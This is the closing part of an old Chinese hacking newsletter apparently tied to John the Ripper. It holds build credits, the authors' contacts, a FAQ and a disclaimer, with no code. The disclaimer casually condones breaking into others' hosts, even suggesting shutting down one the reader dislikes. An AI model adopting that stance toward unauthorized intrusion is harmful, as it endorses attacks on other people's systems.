别感谢 Roman Rusakov 提供了 x86 组合语言版本的 crypt() 编码函式, 这个函式已经放在目前的版本中, 他的最佳化方式是最棒的! DOS 版本是用 DJGPP v2 by DJ Delorie 及 GCC 2.7.2 (http://www.delorie.com) 编译的, DPMI 伺服程式是使用 Charles W Sandmann (sandmann@clio.rice.edu; 1206 Braelinn, Sugar Land, TX 77479), 原始程式在 ftp://ftp.simtel.net/pub/simtelnet/ gnu/djgpp/v2misc/csdpmi3s.zip. Cygnus Developer's Kit (http://www.cygnus.com/gnu-win32) 用来编译 Win32 版本.

========== 如何与作者连络 ==========

发 E-mail 到 solar@ideal.ru 或 2:5020/398.9, 或者是在 EFnet IRC, 也可以找得到作者, 作者在 IRC 的昵称为 Solar_Diz. 在你还没有完全看完这份文件以前, 请你不要随便的提出你的问题, 而且也不要寄给作者一些密码档, 作者并不提供破解密码的服务 (CoolFire 亦有同感).

**** CoolFAQ ****

CoolFAQ 是最後一次出现在 CoolHC 中了，以後因为我不再由信件回答网友的问题，所以日後的 CoolFAQ 将以 CoolHC 相同的方式呈现给大家，我会将网友交流版中的精华加以整理成为 CoolFAQ，然後再以文件的方式放置在首页上供大家取阅。 Q1: John the Ripper..... A1: 任何有关 John the Ripper 的问题请参考 CoolHC#8 中的中文使用说明或 John 内 所附的原文说明. 咦?! 没啦?! 对!! 没了.... 因为如果要作者抽空写的话。这份文件的推出日期就要再继续的延後下去了，有很多人之前已经先看过了这份文件的 PreView 版，可能发现并没有多很多的东西，没办法... 没时间... 我只希望大家能多利用网路上的 MailList 或我们的留言版来讨论，很多的问题透过大家的讨论通常都会有很令人满意的答案出现、

-*-*-*-*後语 ****

所有的资讯都是"免费" 的, 所以你没有权利要求任何的 "售後服务", 该给各位的我会 放在首页上, 任何的讨论也都再首页上进行, 不要再来信要求破解某些站台, 或是寄一 些密码档来要求我帮忙跑. 甚至再来信询问一些软体破解的相关问题 (你需要的是取得 一套 News Client 软体, 订阅 tw.bbs.comp.hacker) 当然我希望真的有心要讨论系统 安全的网友来信讨论. ** 不要 Crack 这个首页的 ISP!!!! 否则 FETAG Sofeware's Hacking Page 将会完全关 闭, 再也不寻找其它的地方来放置, 希望给你的是使用电脑的 "知识", 不要利用它来 夺取任何的"权利", 本首页著重的是教育, 而不是一 的教导攻击的方法, 希望大家 对於政府机关(org.tw) 或教育机构 (edu.tw) 不要作任何的破坏!! 还有我的 ISP.:D 谢谢大家的支持~ ** 工作室成立了一家科技公司，将在北投为大家服务，当然服务的内容不外乎是电脑 相关硬体、软体及网路相关的问题，将会在明年年初左右开幕，详情请於明天参考 工作室首页 http://www.showtower.com.tw/~fetag 当然以後大家也就会更忙碌了，也就是说首页维护的时间就更少了，不过我们还是 希望能提供给大家更多的资讯，所以如果以後有任

何新的资讯，我们会在首页上公 布，尽量不以写文章的方式，这样可以节省下很多编辑的时间。 中国网管联盟 www、bitsCN、com

------ 再次重申, Crack 别人站台之後不要破坏别人站台中的资料, 此篇文章仅作为教育目的, 不主张你随便入侵他人主机. 请勿将这类技术使用於破坏上 (又... 如果第三次世界大战开打, 你可以任意破坏敌国的电脑网路... 我全力支持), 最严重的情况(如果你真的很讨厌该主机的话)... 就将它 Shut Down.... 好了！ 别太暴力了！ E-Mail: fetag@ms1.showtower.com.tw (工作室) away@ms4.accmail.com.tw (亦崴科技) ICQ UNI: 1444687 URL: http://fetag.company.com.tw (Big-5 中文) http://www.showtower.com.tw/~fetag (Big-5 中文) http://www.ab.net.tw/~fetag (Big-5 中文) http://www.nease.net/~fetag (GB-Code 中文) http://hut.stanford.edu/dips/fetag (工作室主机 big-5 中文)
网管网 bitsCN.com

【转自 www.bitsCN.com】